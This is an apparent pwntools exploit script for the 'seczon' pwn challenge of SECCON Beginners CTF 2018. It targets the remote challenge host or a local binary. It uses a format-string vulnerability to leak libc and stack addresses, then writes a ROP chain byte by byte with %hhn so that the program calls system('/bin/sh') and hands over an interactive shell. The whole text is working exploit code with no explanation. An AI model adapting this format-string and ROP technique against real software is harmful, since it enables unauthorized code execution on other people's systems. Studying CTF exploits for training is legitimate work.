SECCON BeginnersCTF 2018 Seczon

exploit.py

#!/usr/bin/env python
from pwn import *
from libformatstr import FormatStr

context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
# context(terminal=['tmux', 'new-window'])  # open new window

libc = ELF('./libc-2.23.so')
elf = ELF('./seczon')
context(os='linux', arch=elf.arch)
# context(log_level='debug')  # output verbose log

RHOST = "pwn1.chall.beginners.seccon.jp"
RPORT = 21735
LHOST = "127.0.0.1"
LPORT = 21735

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

def dbg(ss):
    log.info("%s: 0x%x" % (ss, eval(ss)))

conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?'  # pop option
if opt in 'rl':
    conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    gdbscript = """

    continue
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug(['./seczon'], gdbscript=gdbscript)
else:
    conn = process(['./seczon'])
    # conn = process(['./seczon'], env={'LD_PRELOAD': './libc-2.23.so'})
    if opt == 'a': gdb.attach(conn)

# exploit
def add(name):
    conn.sendlineafter('>> ', '1')
    conn.sendlineafter('>> ', name)

def comment(idx, comment):
    conn.sendlineafter('>> ', '2')
    conn.sendlineafter('>> ', str(idx))
    conn.sendlineafter('>> ', comment)

def write_byte(addr, byte):
    payload = 'x'*3
    payload += p32(addr)
    payload += "%%%dc%%7$hhn" % (byte-3-4)
    return payload

log.info('Pwning')

add('unko')

# leak libc address
comment(0, '.%2$p')
conn.recvuntil('.')
libc_base = int(conn.recv(10), 16) - 0x1b25a0
dbg('libc_base')

# leak stack address
comment(0, '.%21$p')
conn.recvuntil('.')
stack_addr = int(conn.recv(10), 16)
dbg('stack_addr')

# write rop chain
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search('/bin/sh'))
rop = p32(system) + p32(0xdeadbeef) + p32(binsh)
for i, c in enumerate(rop):
    comment(0, write_byte(stack_addr-4+i, ord(c)))

conn.interactive()